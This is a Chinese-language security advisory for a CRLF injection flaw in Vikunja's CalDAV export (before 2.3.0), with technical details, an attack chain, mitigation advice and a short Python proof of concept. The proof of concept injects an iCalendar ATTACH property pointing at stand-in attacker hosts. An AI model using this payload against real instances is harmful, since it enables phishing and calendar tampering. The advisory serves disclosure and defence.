IPBUF安全漏洞报告
English
CVE-2026-35601 CVSS 4.1 中危

CVE-2026-35601 Vikunja iCalendar注入漏洞

披露日期: 2026-04-10

漏洞信息

漏洞编号
CVE-2026-35601
漏洞类型
CRLF注入
CVSS评分
4.1 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Vikunja

相关标签

CRLF注入VikunjaCalDAV注入漏洞RFC 5545

漏洞概述

Vikunja是一个开源的自托管任务管理平台。在2.3.0版本之前,其CalDAV输出生成器在构建iCalendar VTODO条目时,仅使用原始字符串拼接而未应用RFC 5545 TEXT值转义。攻击者可以通过在受控的任务标题中插入CRLF字符,破坏iCalendar属性边界,从而注入任意的iCalendar属性,如ATTACH、VALARM或ORGANIZER。该漏洞在2.3.0版本中已得到修复。

技术细节

该漏洞的核心原理在于Vikunja未正确处理iCalendar格式的文本转义。根据RFC 5545标准,iCalendar中的TEXT值必须将特定的控制字符(如换行符LF)转义为\n。然而,受影响版本直接将用户输入的任务标题拼接到VTODO组件的字符串中。当攻击者创建一个包含回车换行符(CRLF, \r\n)的任务时,这些字符会被解析器视为当前属性的结束和新属性的开始。利用这一缺陷,攻击者可以注入恶意的iCalendar属性,例如添加包含恶意链接的ATTACH属性或触发通知的VALARM属性。由于CVSS向量显示需要用户交互(UI:R),攻击通常需要受害者同步或查看被篡改的日历数据才能触发后续的恶意行为,例如钓鱼链接点击或本地通知干扰。

攻击链分析

STEP 1
信息收集
攻击者识别出目标使用的是Vikunja任务管理平台,并确认其版本低于2.3.0。
STEP 2
构造载荷
攻击者创建一个包含CRLF字符(%0d%0a)的任务标题,后接恶意的iCalendar属性(如ATTACH链接)。
STEP 3
注入载荷
攻击者通过Vikunja的API或Web界面创建带有恶意标题的任务。
STEP 4
触发利用
当受害者通过CalDAV客户端同步或查看该任务时,客户端解析iCalendar数据,执行注入的属性(如显示恶意链接或触发警报)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC Concept: Injecting an ATTACH property via Task Title # Payload: 'Normal Task\r\nATTACH;FMTTYPE=text/plain:https://evil.com/poc\r\nDESCRIPTION:' import requests target_url = "http://vikunja-instance/api/v1/tasks" headers = {"Authorization": "Bearer <TOKEN>"} # Malicious task title containing CRLF injection payload_title = "Buy Milk\r\nATTACH:https://attacker.com/malware\r\nSUMMARY:" data = { "title": payload_title, "description": "This task contains a malicious payload." } response = requests.post(target_url, json=data, headers=headers) print(f"Status: {response.status_code}") print("If successful, the CalDAV export will include the injected ATTACH property.")

影响范围

Vikunja < 2.3.0

防御指南

临时缓解措施
建议立即检查Vikunja实例的版本,并尽快应用官方补丁升级至v2.3.0。在无法立即升级的情况下,应限制用户创建任务的权限,或部署WAF规则以拦截包含CRLF序列的HTTP请求体,防止攻击者利用标题字段进行注入攻击。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表